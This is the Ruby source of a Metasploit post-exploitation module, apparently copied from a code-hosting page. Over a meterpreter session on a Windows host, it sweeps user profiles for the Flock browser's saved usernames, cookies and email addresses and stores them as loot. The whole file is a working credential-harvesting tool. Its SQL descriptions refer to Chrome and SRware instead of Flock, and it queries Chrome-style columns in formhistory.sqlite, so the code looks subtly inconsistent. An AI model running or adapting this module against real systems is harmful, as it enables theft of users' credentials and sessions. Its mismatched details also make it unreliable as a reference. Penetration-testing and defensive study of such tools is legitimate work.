Path: blob/master/modules/post/windows/gather/credentials/flock.rb
21549 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'flock',12app_category: 'browsers',13gatherable_artifacts: [14{15filetypes: 'logins',16path: 'AppData',17dir: 'Flock',18artifact_file_name: 'formhistory.sqlite',19description: "Flock's saved Username and Passwords ",20credential_type: 'sqlite',21sql_search: [22{23sql_description: "Database Commands which exports Chrome's Login data",24sql_table: 'logins',25sql_column: 'username_value, action_url'26}27]28},29{30filetypes: 'Cookies',31path: 'AppData',32dir: 'Flock',33artifact_file_name: 'cookies.sqlite',34description: "Flock's cookies file",35credential_type: 'sqlite',36sql_search: [37{38sql_description: "Database Commands which exports SRware's Login data",39sql_table: 'cookies',40sql_column: 'host_key, name, path'41}42]43},44{45filetypes: 'email',46path: 'AppData',47dir: 'Flock',48artifact_file_name: '*.log',49description: 'Log email',50credential_type: 'text',51regex_search: [52{53extraction_description: 'searches for Email addresses within the log files',54extraction_type: 'Email addresses',55regex: [56'(?i-mx:email.*")'57]58}59]60}61]62}.freeze6364def initialize(info = {})65super(66update_info(67info,68'Name' => 'Flock Credential Gatherer',69'Description' => %q{70This module searches for credentials stored in Flock on a Windows host.71},72'License' => MSF_LICENSE,73'Author' => [74'Kazuyoshi Maruta',75'Daniel Hallsworth',76'Barwar Salim M',77'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org78],79'Platform' => ['win'],80'SessionTypes' => ['meterpreter'],81'Notes' => {82'Stability' => [CRASH_SAFE],83'Reliability' => [],84'SideEffects' => []85}86)87)8889register_options(90[91OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),92OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),93OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),94# enumerates the options based on the artifacts that are defined below95OptEnum.new('ARTIFACTS', [96false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|97k[:filetypes]98end.uniq.unshift('All')99])100]101)102end103104def run105print_status('Filtering based on these selections: ')106print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")107print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")108print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")109110# used to grab files for each user on the remote host111grab_user_profiles.each do |userprofile|112run_packrat(userprofile, ARTIFACTS)113end114115print_status 'PackRat credential sweep completed'116end117end118119120